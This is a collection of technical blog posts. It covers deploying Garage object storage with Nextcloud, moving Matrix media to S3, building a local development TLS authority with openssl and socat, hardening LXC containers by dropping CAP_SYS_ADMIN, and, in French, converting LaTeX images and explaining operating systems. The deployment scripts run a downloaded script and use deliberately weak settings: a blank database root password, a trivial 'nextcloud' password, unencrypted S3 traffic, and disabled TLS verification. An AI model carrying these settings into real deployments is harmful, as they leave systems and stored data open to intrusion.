All instances will run debian on Scaleway’s cheap dev1-s instances. For the naming of our instances, we built it following this pattern: garage-<zone>-<id>.

Now, we suppose that the instances are started and your able to login on them, for example:

ssh root@51.15.227.63

Some crypto

Our garage instances will communicate together securely through TLS. We need to generate some certificates locally that we will deploy on the remote instances later. To ease the operation, we provide a small handler named genkeys.sh to generate all the needed keys:

wget https://git.deuxfleurs.fr/Deuxfleurs/garage/raw/tag/v0.3.0/genkeys.sh
chmod +x ./genkeys.sh
./genkeys.sh

Now you should have a folder named pki containing both the key and the certificate for your CA and your end-entity. Ideally, each node would have its own end-entity certificate but to simplify the configuration, we will use only once in this tour.

Let’s create a script to deploy our pki:

cat > deploy_pki.sh <<EOF
#!/bin/bash
mkdir -p /etc/garage/pki
cat > /etc/garage/pki/garage-ca.crt <<EOG
$(cat pki/garage-ca.crt)
EOG
cat > /etc/garage/pki/garage.crt <<EOG
$(cat pki/garage.crt)
EOG
cat > /etc/garage/pki/garage.key <<EOG
$(cat pki/garage.key)
EOG
EOF

Then send and execute our generated script on each of our machine.

nuage run ./deploy_pki.sh < ./garage-inventory.txt

Configuration

Garage needs a small configuration file to work.

Again, we will write a deployment script. You must adapt the bootstrap_peers section to your instances, you can run again nuage spawn < ./garage-inventory.txt to get their addresses. Not all IP addresses are needed, after a discovery phase, garage maintains its own list and exchange it regulargy with its peers

Save the following file as deploy_conf.sh once you edited it (we arbitrarily chose to put 3 IPs here):

#!/bin/bash
cat > /etc/garage/config.toml <<EOF
metadata_dir = "/var/lib/garage/meta"
data_dir = "/var/lib/garage/data"
replication_mode = "3"
rpc_bind_addr = "[::]:3901"
bootstrap_peers = [
  "51.15.59.148:3901",
  "51.15.227.63:3901",
  "51.15.206.116:3901",
]
[rpc_tls]
ca_cert = "/etc/garage/pki/garage-ca.crt"
node_cert = "/etc/garage/pki/garage.crt"
node_key = "/etc/garage/pki/garage.key"
[s3_api]
s3_region = "garage"
api_bind_addr = "[::]:3900"
[s3_web]
bind_addr = "[::]:3902"
root_domain = ".web.garage"
index = "index.html"
EOF

And now, the deployment:

nuage run ./deploy_conf.sh < ./garage-inventory.txt

Binary and service

And this is already the last step of our deployment, installing the binary and the systemd service. Again, we write a deployment script, named deploy_bin.sh this time:

#!/bin/bash
# Downloading Garage
wget https://garagehq.deuxfleurs.fr/_releases/v0.3.0/x86_64-unknown-linux-musl/garage -O /usr/local/bin/garage
chmod +x /usr/local/bin/garage
# Creating a control command
cat > /usr/local/bin/garagectl <<EOF
#!/bin/bash
/usr/local/bin/garage \
  --ca-cert /etc/garage/pki/garage-ca.crt \
  --client-cert /etc/garage/pki/garage.crt \
  --client-key /etc/garage/pki/garage.key \
  \$@
EOF
chmod +x /usr/local/bin/garagectl
# Creating a systemd service
cat > /etc/systemd/system/garage.service <<EOF
[Unit]
Description=Garage Data Store
After=network-online.target
Wants=network-online.target
[Service]
Environment='RUST_LOG=garage=info' 'RUST_BACKTRACE=1'
ExecStart=/usr/local/bin/garage server -c /etc/garage/config.toml
DynamicUser=true
StateDirectory=garage
[Install]
WantedBy=multi-user.target
EOF
# Activating it
systemctl daemon-reload
systemctl enable garage
systemctl start garage

And we execute it:

nuage run ./deploy_bin.sh < ./garage-inventory.txt

garagectl

Now that we have built a cluster, we can connect on a machine and use garagectl to configure cluster-wide parameters. So, first connect on any server (you can run nuage spawn < garage-inventory.txt to get your nodes IP addresses). For example:

ssh root@51.158.182.206

You can see the current cluster status with:

garagectl status

We will then configure each node, assigning them:

a relative size, because all our nodes have the same storage space, we will put a size of 1 everywhere.
a zone, that will match the country where our instances are hosted

garagectl status
garagectl node configure -c 1 -z pl ??
garagectl node configure -c 1 -z pl ??
garagectl node configure -c 1 -z fr ??
# etc.

Now, we can create a key, a bucket, and allow the key to access the bucket:

garagectl key new --name quentin
garagectl bucket create my_files
garagectl bucket allow my_files --read --write --key GKfd49e3906e5d2e3e23ee07f9

Back to our local machine, we can already interact with our cluster through awscli.

You can install awscli as follow:

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

And quickly setup it by creating a file ~/.awsrc (edit with your access key, secret key and endpoint):

export AWS_ACCESS_KEY_ID=GKfd49e3906e5d2e3e23ee07f9
export AWS_SECRET_ACCESS_KEY=xxxxxx
export AWS_DEFAULT_REGION='garage'
function aws { command aws --endpoint-url http://51.158.182.206:3900 $@ ; }
aws --version

And then, each time you want to use it, run:

source ~/.awsrc

Now, you should be able to use the awscli command freely:

aws s3 ls # list buckets
aws s3 cp garage-inventory.txt s3://my_files/inventory.txt # send a file
aws s3 ls my_files # list files in the bucket

Nextcloud

We will provision another machine specifically for Nextcloud. We start by creating a file named nextcloud-inventory.txt containing:

fr-par-1 dev1-s debian_bullseye nextcloud-fr-1

And spawn it:

nuage spawn < ./nextcloud-inventory.txt

Then we create an install script for Nextcloud named deploy_nextcloud.sh:

#!/bin/bash
apt-get update
apt-get install -y apache2 mariadb-server libapache2-mod-php7.4 php7.4-gd \
php7.4-mysql php7.4-curl php7.4-mbstring php7.4-intl php7.4-gmp \
php7.4-bcmath php-imagick php7.4-xml php7.4-zip unzip
systemctl start mysql
mysql -u root --password="" <<EOF
CREATE DATABASE IF NOT EXISTS nextcloud CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE USER 'nextcloud'@'localhost' IDENTIFIED BY 'nextcloud';
GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextcloud'@'localhost';
FLUSH PRIVILEGES;
EOF
rm -fr nextcloud.zip nextcloud/
wget https://download.nextcloud.com/server/releases/nextcloud-22.1.1.zip -O nextcloud.zip
unzip nextcloud.zip
rm -fr /var/www/nextcloud
mv nextcloud /var/www
cat > /etc/apache2/sites-available/nextcloud.conf <<EOF
Alias /nextcloud "/var/www/nextcloud/"

<Directory /var/www/nextcloud/>
  Require all granted
  AllowOverride All
  Options FollowSymLinks MultiViews

  <IfModule mod_dav.c>
    Dav off
  </IfModule>
</Directory>
EOF
a2ensite nextcloud.conf
a2enmod rewrite
a2enmod headers
a2enmod env
a2enmod dir
a2enmod mime
systemctl restart apache2
chown -R www-data:www-data /var/www/nextcloud/

Then deploy it:

nuage run ./deploy_nextcloud.sh < ./nextcloud-inventory.txt

Then open in your browser Nextcloud, for me http://212.47.230.180/nextcloud. Finish the installation by providing requested information.

Now we will configure Nextcloud to use Garage as its primary object storage. You can also read its documentation.

First, we need to create the bucket and the key (and will also allow our own key):

garagectl bucket create nextcloud
garagectl key new --name nextcloud
garagectl bucket allow nextcloud --read --write GK872ebec80feae4ad663e82ec
garagectl bucket allow nextcloud --read GKfd49e3906e5d2e3e23ee07f9

We will SSH on the server and edit config.php

ssh root@212.47.230.180
vim /var/www/nextcloud/config/config.php

and add:

<?php
$CONFIG = array(
/* some other config */
'objectstore' => [
        'class' => '\\OC\\Files\\ObjectStore\\S3',
        'arguments' => [
                'bucket' => 'nextcloud',
                'autocreate' => false,
                'key'    => 'GK872ebec80feae4ad663e82ec',
                'secret' => 'xxxxxxxxxxxxx',
                'hostname' => '51.158.182.206',
                'port' => 3900,
                'use_ssl' => false,
                'region' => 'garage',
                // required for some non Amazon S3 implementations
                'use_path_style' => true
        ],
],

If you have some errors after reloading the page, run tail -f /var/www/nextcloud/media/nextcloud.log

Primary storage is only one way to integrate Garage in Nextcloud, it is also possible to integrate it through the “External storage” plugin. This method is not covered here but you can refer to Nextcloud’s documentation.

After uploading a file, you can see how nextcloud store them internally through awscli:

aws s3 ls nextcloud

Our current deployment has some drawbacks: we have a single point of failure with only one server and data are not sent encrypted. One solution is to deploy garage on our server, locally, as a gateway. First, we install it normally:

nuage run ./deploy_pki.sh < ./nextcloud-inventory.txt
nuage run ./deploy_conf.sh < ./nextcloud-inventory.txt
nuage run ./deploy_bin.sh < ./nextcloud-inventory.txt

Then, we configure our new node as a gateway because we do not want to store data on it, we just want to use it to route data:

garagectl status
garagectl node configure -z fr -g 2b145f7b4c15c2a4

Then we edit Nextcloud’s configuration /var/www/nextcloud/config/config.php to just change the hostname:

<?php
$CONFIG = array(
/* some other config */
'objectstore' => [
        'class' => '\\OC\\Files\\ObjectStore\\S3',
        'arguments' => [
                /* other arguments */
                'hostname' => '127.0.0.1',
                /* other arguments */
        ],
]

Now we have a high availability backend as our local gateway will try to route our request to available servers.

Handle crashes

Start by choosing a node you want to crash:

nuage spawn < ./garage-inventory.txt

SSH on it, we will simulate its failure by just stopping it (there is no difference between graceful shutdown and crashes):

ssh root@151.115.34.19
systemctl stop garage

Connect on another node and note that the node is unavailable:

ssh root@51.15.59.148
garagectl status

For now, no re-balancing has been triggered. Garage allows for transient failures. If you want to re-balance, you have to explicitly remove the node from Garage.

Now, let’s assume this is only a transient failure, and let’s restart it:

ssh root@151.115.34.19
systemctl start garage
journalctl -fu garage

Note how the repair is automatically triggered. You can still manually trigger a repair if you want:

garagectl repair --yes

Now let’s assume that the machine burnt and all its disks are losts:

systemctl stop garage
rm -r /var/lib/garage/
systemctl start garage
garagectl status

Now our node is seen as a new one and its old ID is seen as failed. We will replace the old node with this new one with a simple command:

garagectl node configure --replace 212027752f40c4d4 -c 1 -z pl 375690c499627ea8
garagectl status

We do not cover this part, but you can also add or remove nodes at any time and trigger a re-balance.

Destroy our VM

When you’re done with this tour, just destroy the resources you created:

nuage destroy < ./garage-inventory.txt
nuage destroy < ./nextcloud-inventory.txt

Thanks a lot, this is the end of my tour of Garage, see you next time :)

Storing Matrix media on a S3 backend

Tue, 14 Sep 2021 00:00:00 +0200

By default, Matrix Synapse stores its media on the local filesystem which rises many issues. It exposes your users to loss of data, availability issues but mainly scalability/sizing issues. Especially as we live in an era where users expect no resource limitation, where software are not designed to garbage collect or even track resource usage, it is really hard to plan ahead resources you will use.

In practise, it leads to 2 observations: resource overprovisioning and distributed filesystems. The first one often leads to wasted resources while the second one is often hard to manage and require expensive hardware and network.

Thankfully, as we store blob data, we do not need the full power of a filesystem and a more lightweight API like S3 is enough. In Matrix Synapse language, these solutions are referred as storage provider. In this article, we will see how we migrated from GlusterFS to Matrix’s S3 storage provider + our Garage backend.

Internals

First, Matrix’s developpers make a difference between a media provider and a storage provider. It appears that files are always stored in the media provider even if a storage provider is registered, and there is no way to change this behavior in the code. And unfortunately the media provider can only use the filesystem.

For example when fetching a media, we can see in the code that the filesystem is always probed first, and only then our remote backend.

We also see in the code that the media provider can be referred as the local cache and that some parts of the code may require that a file is in the local cache.

As a conclusion, the best we can do is to keep the media provider as a local cache. The concept of cache is very artificial as there is no integrated tool for cache eviction: it is our responsability to garbage collect the cache.

Migration

We can easily configure the S3 synapse provider in our homeserver.yaml:

media_storage_providers:
- module: s3_storage_provider.S3StorageProviderBackend
  store_local: True
  store_remote: True
  store_synchronous: True
  config:
    bucket: matrix
    region_name: garage
    endpoint_url: XXXXXXXXXXXXXX
    access_key_id: XXXXXXXXXXXXXX
    secret_access_key: XXXXXXXXXXX

Registering the module like that will only be useful for our new media, store_local: True and store_remote: True means that newly media will be uploaded to our S3 target and we want to check that upload suceed before notifying the user (store_synchronous: True). The rationale for there store options is to enable administators to handle the upload with a pull approach rather than with our push approach. In practise, for the pull approach, administrators have to call regularly a script (with a cron for example) to copy the files on the target. A script is provided by the extension developpers named s3_media_upload.

This script is also the sole way to migrate old media (that cannot be pushed) so we will still have to use it. First, we need some setup to use this tool:

postgres credentials + endpoint must be stored in a database.yml file
s3 credentials must be configured as per the boto convention and the endpoint can be specified on the command line
the path to the local cache/media repository is also passed through the command line

This script needs to store some states between command executions and thus will create a sqlite in your working directory named cache.db. Do not delete it!

In practise, your database configuration may be created as follow:

cat > database.yaml <<EOF
user: xxxxx
password: xxxxx
database: xxxxxx
host: xxxxxxxx
port: 5432
EOF

And S3 can be configured through environment variables:

export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_DEFAULT_REGION="garage"

We are now ready, the other parameters will be passed on the command line.

Use the tool

First we must build a list of media that we want to send to S3. I guess that developpers designed this tool with the idea that S3 is an archive target and that we want to keep recent data locally. That’s why a duration is required, because they want to send only old data to S3. Here, we will fetch media that are at least one day (1d) old, but you can set 1 month (1m) to keep more media locally or 0 day (0d) if you want close to no local cache. For more details, check the source code.

./s3_media_upload update-db 1d

Filters media that are not on the local filesystem, either because they were already uploaded to our S3 backend or because they are lost. See the code.

Please not that I deactivated the progress bar because it is buggy on my docker exec inside a screen inside a ssh session.

./s3_media_upload --no-progress check-deleted /var/lib/matrix-synapse/media

If we want to combine update-db and check-deleted, we can run update.

Now, before doing any action, we might want to see our candidates. These candidates may already be present on our S3 target so you may end up uploading less data.

./s3_media_upload write

The command upload does many things at once:

check again that the file is still on the local filesystem
check if the file exists on S3
upload it to S3 if needed
optionnaly delete the local file

Ideally, I would only use our S3 target and not anymore the local filesystem. Because it is not possible with this module, at least I delete uploaded content from the local filesystem. See the source code for more details.

My final command looks like this:

./s3_media_upload --no-progress upload /var/lib/matrix-synapse/media matrix --delete --endpoint-url https://garage.deuxfleurs.fr 

GlusterFS again

By running this script one month after activating the main module, I observed that many files were missing on our S3 target, around 60%. Our setup was as follow:

The media repository (the local filesystem) was on GlusterFS
The storage provider (our S3 target) was handled by Garage

We now that our GlusterFS target suffers from severe performance issues. I manually migrated the files then deployed a second setup:

The media repository was now mounted in RAM (a tmpfs)
The storage provider was still our S3 target

And now, all of our media are successfully sent on our S3 target. My guess is that each media is first written on the local filesystem and then sent on S3. Because GlusterFS is slow and error prone, some exceptions or timeouts may be risen before the file is uploaded to S3.

At least, we now consider the problem as solved. We only need one more step: regulargy cleaning up the local filesystem to not fill our RAM.

Goold old cron

Because there is no elegant solution and my time is limited, I chose to write a script that run every 10 minutes. It checks that the files are already on the S3 bucket and then delete them from the filesystem.

#!/bin/bash

cat > database.yaml <<EOF
user: $PG_USER
password: $PG_PASS
database: $PG_DB
host: $PG_HOST
port: $PG_PORT
EOF

while true; do
  s3_media_upload update-db 0d
  s3_media_upload --no-progress check-deleted $MEDIA_PATH
  s3_media_upload --no-progress upload $MEDIA_PATH $BUCKET --delete --endpoint-url $ENDPOINT 
  sleep 600
done

To use it, you must set the following environment variables:

For AWS: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION, ENDPOINT, BUCKET
For Postgres: PG_USER, PG_PASS, PG_DB, PG_HOST, PG_PORT
For the filesystem: MEDIA_PATH, we suppose s3_media_upload is in your PATH.

matrix-media-repo

I presented the “native” way to handle media on Matrix Synapse but there is also a community managed project named matrix-media-repo with a slightly different goal. The author wanted to have a common media repository for multiple servers to reduce storage costs.

matrix-media-repo is not implementation independent: instead, it shadows the matrix endpoint used for the media /_matrix/media and thus is compatible with any matrix server, like dendrite or conduit. Its main advantage over our solution is that it does not have this mandatory cache, it can directly upload and serve from a S3 backend, simplifying the management.

Depending on your reverse proxy, it might be possible that if matrix-media-repo is down, users are redirected to the original endpoint that should not be used anymore, leading to loss of data and strange behaviors. It seems that an option in Synapse allows to deactivate the media-repo, it might save you some time if it works.

Conclusion

Using a S3 target with Matrix is not trivial. matrix-media-repo seems to be a better solution but in practise it has also its own drawbacks. For now, even if not optimal, our deployed solutions works well and it’s what matters.

Develop with TLS

Fri, 10 Sep 2021 00:00:00 +0200

In this article we focus on openssl as it is generally available and, hopefully, it is versatile enough to adapt all our uses cases. Note that more straightforward tools exist such as mkcert. They simplify many steps presented here.

This article is not exhaustive to keep it readable but do not hesitate to complete it with the corresponding openssl manpage. You can already start with man openssl but keep in mind that openssl works with subcommands that have dedicated manpages (eg. the manpage for openssl x509 is man x509 on my Fedora).

In this guide, our target is to create a simple CA for local development purposes only. Do not reproduce this practises in production or you will put yourself, your organization and your users at risk.

In our commands, we do not specify an output format even if multiple formats exist. To name only two, we have PEM or DER. By default, openssl always use PEM encoding (which stands for Privacy-Enhanced Mail) and is defined in RFC 7468. It is basically a way to store base64 encoded data in files. In my experience, this format is supported in many places. Often we use the .pem extension to denote a PEM encoded file but in practise, like in this article, we also create files with the .crt or .key extension that are also storing PEM encoded data.

I am done with the preamble, let’s start generating our certificates by choosing a working folder (I will assume that your $D environment variable is set for all following commands):

export D=$HOME/.certs/localhost/
mkdir -p $D

The Certificate Authority

It is mandatory to create a CA certificate that is independant from your End-entity Certificate, otherwise you will have an error such as CA_CERT_USED_AS_END_ENTITY in Firefox.

For this article, I arbitrarily chose to generate an Elliptic Curve Key (and not a RSA one) that will be our CA private key.

openssl ecparam \
  -genkey \
  -name prime256v1 \
  -out $D/ca.key

For more information about this command, run man ecparam, read Bortzmeyer post (FR) or directly the RFC 8422.

Now, we want to generate a self-signed X.509 certificate for our Certificate Authority from the previously generated private key. Know that an expiration date is mandatory for a certificate. We set it to 10 years (3650 days) to not be annoyed in the near future by the expiration of our certificate but be sure to set it to a shorter time in production.

openssl req \
  -x509 \
  -new \
  -key $D/ca.key \
  -days 3650 \
  -out $D/ca.pem \
  -subj "/C=XX/ST=XX/L=XX/O=XX/OU=XX/CN=LOCAL_CA/emailAddress=X@X.XX" 

For more information on this command, run man req.

Now that our authority (CA) is ready, we can add it to the CA store of our system and/or applications. Each software, OS and distribution as its own procedure. For Fedora, run:

sudo cp $D/ca.pem /etc/pki/ca-trust/source/anchors/localhost.crt
sudo update-ca-trust

For Windows, Mac OS, Debian/Ubuntu, Firefox or Chrome, you can refer to BounCA’s guide.

And that’s all, we have added our certificate authority to our system!

End-entity Certificate

Now, we will generate our end-entity certificate, the one that will be used by our application. We start with the private key:

openssl ecparam \
  -genkey \
  -name prime256v1 \
  -out $D/localhost.key

Then we generate a Certificate Signing Request. The CN field is important as it will be checked against your domain name in many cases. Here, we want a certificate for our development needs so we set it to localhost.

But we also want a valid certificate when we access our service through our loopback IP address, 127.0.0.1. Additionnaly, we want to support an infinite number of subdomains to test multiple services at the same time. At this point, we need to use an extension to set the subjectAltName key.

Before going further, let digress a little bit on how to choose a domain for development that will not overlap with a (possibly) existing internet service. Know that RFC 6761 says that .localhost is a reserved TLD, so we are sure it will never be advertised by root DNS servers and limited to our machine.

To summarize, we want a single certificate that is valid for (1) localhost, (2) all subdomains of localhost and (3) for the IP address 127.0.0.1 (and we could add a (4) for ::1, the IPv6 loopback address). We simply must set the subjectAltName key to DNS:localhost, DNS:*.localhost, IP:127.0.0.1.

The full command to generate a certificate signature request looks like this:

openssl req \
  -new \
  -key $D/localhost.key \
  -out $D/localhost.csr \
  -subj "/C=XX/ST=XX/L=XX/O=XX/OU=XX/CN=localhost/emailAddress=X@X.XX" \
  -addext "subjectAltName = DNS:localhost, DNS:*.localhost, IP:127.0.0.1"

And finally we sign the request (CSR) with our own authority (CA). This command is a bit more tricky as we have to set again some fields. It seems to be for security reasons: as this operation is thought to be done by a third party, it should not trust your parameters and set its owns. In our case, we need to re-specify the number of days and our subjectAltName.

openssl has a more advanced/high level tool than the one we will use, namely openssl ca (doc: man ca). openssl ca is able to copy some or all fields of a signing request but this tool has, in return, some other caveats. If you are interested, please read its manual and especially the section entitled WARNINGS.

Our final command is:

openssl x509 \
  -req \
  -in $D/localhost.csr \
  -CA $D/ca.pem \
  -CAkey $D/ca.key \
  -CAcreateserial \
  -out $D/localhost.crt \
  -days 3650 \
  -extensions v3_ext \
  -extfile <(printf "[ v3_ext ]\nsubjectAltName = DNS:localhost, DNS:*.localhost, IP:127.0.0.1\n")

You can run man x509 to know more about this command.

With socat

socat is the swiss army knife of the network operator. In this example, we will use it as a simple TLS proxy in front of a plain text application.

First, we need to concatenate our certificate in a bundle for socat. The key must comes first, then its X.509 certificates, and finally the whole chain of X.509 certificates up your root certificates.

For us:

cat \
  $D/localhost.key  \
  $D/localhost.crt \
  $D/ca.pem \
> $D/localhost-bundle.pem

For nginx, you need to concatenate X.509 certificates in the same order but you must not put the private key file. Instead, the private key file is specified independently in your configuration.

To run socat on port 4443 with TLS and forward requests in plain text to localhost:3900, run:

socat \
"openssl-listen:4443,\
reuseaddr,\
fork,\
verify=0,\
cert=$D/localhost-bundle.pem" \
tcp4-connect:localhost:3900

You may ask yourself why we put parameters like reuseaddr or fork. By using reuseaddr, we can reuse a port without waiting for an internal timeout in the kernel which is required to quickly restart socat, the article Bind: Address already in use explains on details why. fork allows us to handle multiple connections in parallel. verify allows us to activate or deactivate mutual authentication, here we do not want to authenticate the client so we set it to zero.

Other resources

Some other resources that could help you with TLS/X.509 certificates:

Drop CAP_SYS_ADMIN in LXC

Wed, 14 Jul 2021 00:00:00 +0200

Hardening Linux Containers, and more especially LXC containers, is needed to prevent a malicious user to escape your container. However, even hardened, a container can’t be considered totally safe today, so don’t rely solely on this article for your security! Instead, you should consider it as part of your defense in depth strategy.

To understand how a container can be hardened, we must understand how they work under the hood. Jessie Frazelle describes magnificently their concepts in her blog post Setting the Record Straight: containers vs. Zones vs. Jails vs. VMs. The critical point is that containers in Linux are not a top level design like Zone in Solaris and Jails in BSD:

A “container” is just a term people use to describe a combination of Linux [capabilities,] namespaces and cgroups. Linux [capabilities,] namespaces and cgroups ARE first class objects. NOT containers.

In this article, we will focus on one first class object, capabilities, in a specific context, an LXC container.

The challenge when it comes to hardening a LXC container, compared to other solutions, is that there is a great probability that you’ll run systemd in your container. Because systemd is a powerful init system, it assumes it also requires many permissions: we will see here how to start here despite our capability hardening.

If you feel a bit lost with containers, a good start is the reading of this whitepaper by the NCCGroup: Understanding and Hardening Linux Containers. This post is also inspired by the article written by Christian Seiler, LXC containers without CAP_SYS_ADMIN under Debian Jessie, but we’ll see that, due to evolutions in the Linux kernel, the proposed configuration does not work anymore out of the box.

Creating a standard LXC container

Before starting, you’ll need at least lxc-2.0.9. In any case, compiling LXC is quite straightforward. Here is a quick reminder on how to compile LXC:

git clone https://github.com/lxc/lxc
cd lxc
./autogen.sh
./configure
make -j8
sudo make install

Now let’s create a basic container (we’ll use Fedora but the instructions should work for every distributions):

sudo lxc-create -n harden -t fedora

As you’ll need to debug the launch of your container, I can only recommend you this command line :

sudo lxc-start -n harden -lDEBUG -F

This command will launch your container in foreground (so you’ll be able to see systemd logs at boot) and it will log many useful informations in the /var/log/lxc/harden.log file.

Capabilities: split the root

Historically, there is a huge difference between the root user (with uid 0) which bypasses any access control and the other users of the system which must pass every control. So, if you want to send an ICMP request via the ping command for example, you must run the command as root (with the magic of setuid to enable non privileged users to launch it). As the command is launched as root for everyone, ping can load a kernel module, change the time on your system, erase every files, etc. That’s dangerous, particularly if someone finds a vulnerability in your command and uses it to do a privilege escalation.

A good idea would be to only allow the ping command to execute actions related to network as root, not everything. You can do that with capabilities, by giving the CAP_NET_RAW capability to your ping command.

But capabilities, and more precisely capability bounding set, can also be used to reduce the capabilities that any process of your container can inquire. Indeed, if you allow a process in your container to load kernel modules, what prevent it to load a faulty module enabling the attacker to escape the container? So, one way to prevent this catastrophic scenario is to drop CAP_SYS_MODULE from the capability bounding set. When you use lxc.cap.keep and lxc.cap.drop, you’re modifying this capability bounding set of your container.

Let’s start by displaying your current capability bounding set:

capsh --print

Over all the existing capabilities, one is a bit special: CAP_SYS_ADMIN. It is considered by somes as “the new root” because of its large and not strictly defined scope. This capability is also very useful because it is needed to mount filesystems from the container. Unfortunately, it enables interactions with critical API of the kernel like ioctl, IPC resources, namespaces, etc. Considering the power of this capability, we want to drop it in out container. But can we only do it?

# /var/lib/harden/config
lxc.cap.drop = sys_admin

Now try to restart your container… and enjoy the crash:

Failed to mount tmpfs at /dev/shm: Operation not permitted
Failed to mount tmpfs at /run: Operation not permitted
Failed to mount tmpfs at /sys/fs/cgroup: Operation not permitted
Failed to mount cgroup at /sys/fs/cgroup/systemd: No such file or directory
[!!!!!!] Failed to mount API filesystems, freezing.
Freezing execution.

It looks like the only solution is to manually mount these folders before systemd execution. The operation will be slightly different from what Christian Seiler wrote as our kernel supports the cgroup namespace. Indeed, the following directive will do nothing:

# /var/lib/harden/config
lxc.mount.entry = cgroup:mixed

Here is a fragment of the function that handle the previous directive, we directly exit the function before running anything when cgroup namespaces are supported:

/*
 /src/lxc/cgroups/cgfsng.c
 /src/lxc/cgroups/cgfs.c
*/
static bool cgfsng_mount(void *hdata, const char *root, int type)
{
  /* some initializations */
  if (cgns_supported())
    return true; /* we exit the function here */
  /* rest of the function that will never be executed */
}

Developpers put this condition as, with the cgroup namespace, we can safely mount the cgroup hierarchy like any other filesystem in our LXC configuration file:

# /var/lib/harden/config
lxc.mount.entry = tmpfs dev/shm tmpfs rw,nosuid,nodev,create=dir 0 0
lxc.mount.entry = tmpfs run tmpfs rw,nosuid,nodev,mode=755,create=dir 0 0
lxc.mount.entry = tmpfs run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k,create=dir 0 0
lxc.mount.entry = tmpfs run/user tmpfs rw,nosuid,nodev,mode=755,size=50m,create=dir 0 0
lxc.mount.entry = tmpfs sys/fs/cgroup tmpfs rw,nosuid,nodev,create=dir 0 0

But to mount our cgroup hierarchy (we only need one, for systemd), we need to create the mount point first… We can’t put the following line:

# /var/lib/harden/config
lxc.mount.entry = cgroup sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0

Instead, the only solution I found was to create a (simple) LXC mount hook:

#!/bin/bash
# /usr/local/bin/mount-cgroup on the host
mkdir $LXC_ROOTFS_MOUNT/sys/fs/cgroup/systemd
mount cgroup $LXC_ROOTFS_MOUNT/sys/fs/cgroup/systemd \
  -t cgroup \
  -o rw,nosuid,nodev,noexec,relatime,xattr,name=systemd

Now, we call this script from our configuration:

# /var/lib/harden/config
lxc.hook.mount = /usr/local/bin/mount-cgroup

And finally your container is working !

But one more thing: instead of creating a capabilities blacklist, can we create a more secure whitelist ? The answer is yes:

lxc.cap.keep =
lxc.cap.keep = chown ipc_lock ipc_owner kill net_admin net_bind_service

If you want to dig the question further, you can find the whole capability list in the dedicated man page capabilities(7) and how to use them with LXC in the LXC man page lxc.container.conf(5). Have fun!

Latex, DVI et images

Fri, 05 Mar 2021 00:00:00 +0100

Pour les compilateurs LaTeX compilant vers le format DVI-Tex (DeVice Independent) / PostScript, il n’est pas possible d’intégrer directement des images au format JPG, PNG ou autre. Si aujourd’hui le plus simple est d’utiliser un compilateur LaTeX qui produit des fichiers au format PDF et supporte les formats d’image précédents, ce n’est pas toujours possible.

Dans ce guide, nous supposons donc que nous souhaitons garder une sortie DVI-Tex / PostScript. Pour ce faire, nous utiliserons l’outil convert du projet ImageMagick (fiche Wikipedia) pour convertir préalablement les images au format EPS.

Installer ImageMagick

Si la commande convert n’est pas disponible sur votre système, vous allez devoir installer ImageMagick.

Sur Fedora :

sudo dnf install ImageMagick

Sur Ubuntu :

sudo apt update
sudo apt install imagemagick

Notre image de test

Nous allons utiliser une photo de Dijkstra pour nos tests, que vous pouvez télécharger comme suit :

wget https://quentin.dufour.io/assets/images/posts/dijkstra.jpg

L’outil convert

convert peut être utilisé sans paramètre, mais dans notre cas le résultat de la conversion sera décevant :

convert dijkstra.jpg dijkstra.eps

convert a en effet de nombreux paramètres qui sont tous décrits en détails dans le manuel (man convert) dont les valeurs par défaut ne sont pas toujours appropriées. Ici nous nous penchons seulement sur les deux problèmes suivants :

Les images sont trop grandes et pixelisées à cause d’une valeur par défaut inadéquate du paramètre density
Les images sont trop lourdes car aucune compression n’est utilisée pour la sortie

Les images sont représentées sous forme de pixels mais les sorties LaTeX raisonnent en centimètres: il faut donc choisir combien de pixels on met par centimètres. On parle souvent de DPI pour ce problème, ImageMagick utilise le terme de densité. La valeur de densité par défaut de convert est très basse (probablement autour de 96 pour des raisons historiques). D’expérience, je recommande une valeur entre 172 et 300 pour éviter de se retrouver avec une image pixelisée, à ajuster en fonction de la taille voulue.

Ensuite, historiquement, le format EPS ne supporte pas de compression et produit des images très lourdes par défaut. Notre image originale au format JPG fait 846 ko ; convertie sans compression, sa taille grimpe à 12 Mo. Au delà de la taille sur le disque, une telle taille est problématique car elle peut faire planter la compilation ou la visionneuse. Heureusement, StackOverflow nous apprend que des évolutions du format existent : ces dernières ont l’avantage de supporter la compression. Pour les utiliser il suffit de préfixer notre fichier de sortie par eps2: ou eps3: (exemple: eps2:dijkstra.eps). En choisissant un format ou l’autre, on revient sur une taille similaire au JPG d’origine, de 841 ko.

La commande finale que je recommande pour la conversion est donc :

convert -density 300 dijkstra.jpg eps2:dijkstra.eps

Intégrer l’image dans un document LaTeX

Je crée un fichier LaTeX très simple nommé trombi.tex

\documentclass{article}
\usepackage{graphicx}
\begin{document}
\includegraphics{dijkstra.eps}
\end{document}

Que je compile ensuite :

latex trombi.tex

Et que je peux ouvrir avec :

xdg-open trombi.dvi

Et voici le résultat !

Le concept d'OS

Wed, 04 Sep 2019 00:00:00 +0200

Les systèmes d’exploitation ou OS sont au coeur de notre vie. Par contre, on a souvent un peu de mal à comprendre ce que c’est. Posons quelques bases.

Comprendre ce qu’est un système d’exploitation

Windows, macOS et Ubuntu, dont les logos se trouvent juste au dessus, sont des Systèmes d’Exploitation. L’abbréviation anglaise OS pour Operating System est assez courante : c’est elle que vous retrouvez dans les termes macOS ou iOS (pour les iPhone).

Vous n’avez probablement jamais eu à vous soucier d’eux car très souvent ils sont livrés avec l’ordinateur que vous achetez. Souvent, c’est Windows que vous retrouverez, sauf pour les ordinateurs Apple qui sont livrés avec macOS. Et Ubuntu ? On peut trouver certains ordinateurs vendus avec (chez Dell ou des constructeurs spécialisés, comme System76 ou Purism) mais ça reste marginal.

Au passage, lors de l’achat de votre ordinateur, vous payez pour Windows. Alors que vous pourriez vouloir utiliser Ubuntu à la place, qui est gratuit. Théoriquement, vous pourriez demander un remboursement. En pratique, c’est plus compliqué… Pour plus d’information, regardez du côté de la vente liée.

